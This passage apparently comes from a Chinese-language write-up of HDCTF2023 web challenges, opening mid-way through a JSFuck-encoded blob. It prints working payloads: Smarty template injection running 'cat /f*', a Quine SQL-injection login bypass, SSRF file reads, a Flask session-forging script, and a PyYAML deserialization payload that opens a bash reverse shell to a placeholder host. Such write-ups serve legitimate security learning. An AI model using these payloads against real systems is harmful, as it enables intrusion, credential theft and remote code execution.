(![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (![] + [])[+!+[]] + (+(!+[] + !+[] + [+!+[]] + [+!+[]]))[(!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([] + [])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]][([][[]] + [])[+!+[]] + (![] + [])[+!+[]] + ((+[])[([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + ([][[]] + [])[+!+[]] + (![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[+!+[]] + ([][[]] + [])[+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + (!![] + [])[+!+[]]] + [])[+!+[] + [+!+[]]] + (!![] + [])[!+[] + !+[] + !+[]]]](!+[] + !+[] + !+[] + [+!+[]])[+!+[]] + (!![] + [])[!+[] + !+[] + !+[]])()([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[!+[] + !+[] + [+!+[]]] + [!+[] + !+[] + !+[] + !+[] + !+[]] + (![] + [])[+[]]) + [!+[] + !+[]] + (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]])[+!+[] + [+[]]] + [!+[] + !+[]] + [!+[] + !+[] + !+[]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[(![] + [])[!+[] + !+[] + !+[]] + (![] + [])[!+[] + !+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + ([][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (![] + [])[!+[] + !+[]]] + [])[!+[] + !+[] + !+[]] + (!![] + [])[!+[] + !+[] + !+[]]]((+((+(+!+[] + [+!+[]] + (!![] + [])[!+[] + !+[] + !+[]] + [!+[] + !+[]] + [+[]]) + [])[+!+[]] + [+[] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+[]] + [+!+[]]]) + [])[!+[] + !+[]] + [+!+[]])
function gameOver() {
alert(seeeeeeeecret)
//isOver=true;

/*for(i in ais){
ais[i].drawAi();
}*/
J.showWait("您已阵亡", "error");
//J.id("showInfo").slideDown();
}

这个seeeeeeeecret是jsfuck编码,放进控制台console里面回车就能出flag

或者直接到处乱撞也能出flag

SearchMaster

提示模板都一样我很抱歉OVO BUT YOU CAN POST ME A data,盲猜模板注入,先用burp POST一个data=1试试

发现了同样的输出。这道题是PHP后端,试试之前做过的tornado的payload

1
data={{handler.setting}}

发现了一堆报错,报错里面有段信息很显眼/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php

这里就能判断出用的是Smarty模板,那就是Smarty模板注入

一般输入{$smarty.version}就能看到Smarty的版本号,该题版本是4.1.0

直接data={system('cat /f*')}得到flag

LoginMaster(复现)

进入是一个登录框,尝试万能密码,提示只有admin才能登录,并且注册功能是假的,则只有password字段可控

尝试注入password字段,发现有过滤并返回hacker

没多的信息了,尝试找找源码泄露,一眼robots.txt

果然存在waf泄露

1
2
3
4
5
6
7
8
9
10
function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

老师傅可能会发现是第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)的考点

这里使用正则表达式做了过滤,if 判断了从数据库中查到的密码是否和用户输入的是一样的,只有完全一致才会得到FLAG

开始想利用union创建虚拟表伪造密码,结果不太行

看了wp才知道这是Quine注入

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中

首先时间盲注发现这是一个空表

1
union/**/select/**/if((select/**/ascii(mid((select/**/group_concat(table_name)from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_schema/**/like/**/database()),0,1))/**/like/**/1),(select/**/benchmark(4999999,md5('test'))),1)#

再看这段waf代码要求的是执行$sql的结果与$password相同,那么除了正常逻辑的密码相同会产生相等,如果我们的输入与最后的结果相等,那么一样可以绕过验证。这种技术就是Quine

1
password=1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

这里直接给payload,下篇文章细说

YamiYami(复现)

首先给了三个路由,/read一眼SSRF,直接file协议读文件试试发现没问题

1
/read?url=file:///etc/passwd

然后还有/upload是任意文件上传,但没有上传文件的路径

/pwd路由提示/app,盲猜是当前web目录

非预期解

直接读进程里的环境变量/proc/<pid>/environ

1
?url=file:///proc/1/environ

就得到flag了

预期解

没其他信息就想办法通过伪协议读取源码咯,file:///app/app.py

但存在过滤

1
re.findall('app.*', url, re.IGNORECASE)

这里采用双重url编码关键字绕过

app经过url编码结果为%25%36%31%25%37%30%25%37%30

1
?url=file:///%2561%2570%2570/%2561%2570%2570.py

源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

可以发现在/boogipop路由存在PyYaml反序列化漏洞,要进入这里就得使session.get("passport")=="Welcome To HDCTF2023"为真,因此需要伪造session

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

可以发现随机种子来自uuid.getnode(),而uuid 模块使用 getnode() 来获取当前系统的 MAC 地址值,如果一个系统的网卡多于一块,那么就有多个 MAC 地址,因此返回的值可能是其中的任意一个。所以只要找到目标机MAC地址,就能通过已知的随机种子得到可知的伪随机数从而伪造session

/sys/class/net/eth0/address,这个就是eth0网卡的位置,读取他进行伪造SECRET_KEY

1
file:///sys/class/net/eth0/address

然后用脚本进行session伪造即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# !/usr/bin/env python3
"""
python flask_session_en_de.py decode -s “” -c “”
python flask_session_en_de.py encode -s “” -t “”
//其中session值填在 -c 后面,SECRET_KEY填在 -s 后面
//解密得到的东西填在 -t 后面,SECRET_KEY填在 -s 后面
"""

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e

if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

进入if判断后,PyYaml反序列化RCE即可

1
2
3
4
5
6
7
8
9
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

另外俩Java题现在还不会

EasyJava考点是FastJson+Rome 二次反序列化打入SpringBoot高版本内存马

BabyJXvX考点是Apache SCXML2 RCE

这里附上出题人的wp链接

HDCTF2023 Web出题记录 | Boogipop